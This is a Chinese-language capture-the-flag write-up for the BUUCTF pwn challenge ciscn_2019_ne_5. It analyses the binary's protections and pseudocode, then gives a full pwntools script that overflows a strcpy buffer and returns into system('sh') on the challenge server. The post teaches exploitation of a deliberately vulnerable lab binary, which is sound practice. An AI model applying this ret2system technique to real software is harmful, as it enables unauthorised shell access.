BUUCTF ciscn_2019_ne_5

Thursday, December 29, 2022
本文共843字
2分钟阅读时长
pwn

⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/ciscn_2019_ne_5/。商业转载请联系作者获得授权,非商业转载请注明出处!

You may say I’m a dreamer, but I’m not the only one, I hope someday you will join us, and the world will live as one. — John Lennon

原题链接

checksec查看程序架构

$ checksec --file ciscn_2019_ne_5
[*] '/home/peterl/security/workspace/ciscn_2019_ne_5/ciscn_2019_ne_5'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

ida查看程序伪代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [esp+0h] [ebp-100h] BYREF
  char src[4]; // [esp+4h] [ebp-FCh] BYREF
  char v6[124]; // [esp+8h] [ebp-F8h] BYREF
  char s1[4]; // [esp+84h] [ebp-7Ch] BYREF
  char v8[96]; // [esp+88h] [ebp-78h] BYREF
  int *v9; // [esp+F4h] [ebp-Ch]

  v9 = &argc;
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  fflush(stdout);
  *(_DWORD *)s1 = 48;
  memset(v8, 0, sizeof(v8));
  *(_DWORD *)src = 48;
  memset(v6, 0, sizeof(v6));
  puts("Welcome to use LFS.");
  printf("Please input admin password:");
  __isoc99_scanf("%100s", s1);
  if ( strcmp(s1, "administrator") )
  {
    puts("Password Error!");
    exit(0);
  }
  puts("Welcome!");
  puts("Input your operation:");
  puts("1.Add a log.");
  puts("2.Display all logs.");
  puts("3.Print all logs.");
  printf("0.Exit\n:");
  __isoc99_scanf("%d", &v4);
  switch ( v4 )
  {
    case 0:
      exit(0);
      return result;
    case 1:
      AddLog(src);
      result = sub_804892B(argc, argv, envp);
      break;
    case 2:
      Display(src);
      result = sub_804892B(argc, argv, envp);
      break;
    case 3:
      Print();
      result = sub_804892B(argc, argv, envp);
      break;
    case 4:
      GetFlag(src);
      result = sub_804892B(argc, argv, envp);
      break;
    default:
      result = sub_804892B(argc, argv, envp);
      break;
  }
  return result;
}

首先我们找到了密码为administrator,然后我们看到下面的switch-case语句

经过分析我们发现只有当case为1时能够输入128个字符:

202209251719142022-09-25-17-19-14

但是保存输入的变量不在当前栈中,而且在原本的main函数中传入的参数也只是一个保存地址的4字节变量,因此对原本的main函数也构成不了溢出。

但是我们又发现,我们在src变量所指的内存中保存的数据会被别的函数利用:

202209251722472022-09-25-17-22-47

202209251723232022-09-25-17-23-24

同时我们发现plt表中有system

$ readelf -r ciscn_2019_ne_5

重定位节 '.rel.dyn' at offset 0x3c4 contains 4 entries:
 偏移量     信息    类型              符号值      符号名称
08049ff0  00000506 R_386_GLOB_DAT    00000000   stderr@GLIBC_2.0
08049ff4  00000906 R_386_GLOB_DAT    00000000   __gmon_start__
08049ff8  00000c06 R_386_GLOB_DAT    00000000   stdin@GLIBC_2.0
08049ffc  00000d06 R_386_GLOB_DAT    00000000   stdout@GLIBC_2.0

重定位节 '.rel.plt' at offset 0x3e4 contains 10 entries:
 偏移量     信息    类型              符号值      符号名称
0804a00c  00000107 R_386_JUMP_SLOT   00000000   setbuf@GLIBC_2.0
0804a010  00000207 R_386_JUMP_SLOT   00000000   strcmp@GLIBC_2.0
0804a014  00000307 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
0804a018  00000407 R_386_JUMP_SLOT   00000000   fflush@GLIBC_2.0
0804a01c  00000607 R_386_JUMP_SLOT   00000000   strcpy@GLIBC_2.0
0804a020  00000707 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
0804a024  00000807 R_386_JUMP_SLOT   00000000   system@GLIBC_2.0
0804a028  00000a07 R_386_JUMP_SLOT   00000000   exit@GLIBC_2.0
0804a02c  00000b07 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
0804a030  00000e07 R_386_JUMP_SLOT   00000000   __isoc99_scanf@GLIBC_2.7

在这题中Display函数没有用,但是如果题目的plt表中system函数就可以通过Display函数泄露基址来ret2libc。

这里我们看到我们输入的数据在GetFlag函数中会被strcpy保存在它栈中的一个变量中,这样我们就可以间接地栈溢出了

构建exp


from pwn import *
from pwn import p64, p32, u32, u64
# from LibcSearcher import LibcSearcher

pss: bool = True
fn: str = "./ciscn_2019_ne_5"
libc_name:str = "/lib/i386-linux-gnu/libc.so.6"
port: str = "25151"
if_32: bool = True
if_debug:bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
    p = remote("node4.buuoj.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, "break main")
    else:
        p = process(fn,env={"LD_PRELOAD":libc_name})

m_elf = ELF(fn)

bin_sh = 0x80482EA

p.clean()
p.sendline(b"administrator")

p.clean()
p.sendline(b"1")
payload = b"a"*(0x48 + 0x4) + \
    pg(m_elf.plt['system']) \
    + pg(m_elf.plt['exit']) + pg(bin_sh)
p.sendline(payload)

p.clean()
p.sendline(b'4')
p.clean()

p.interactive()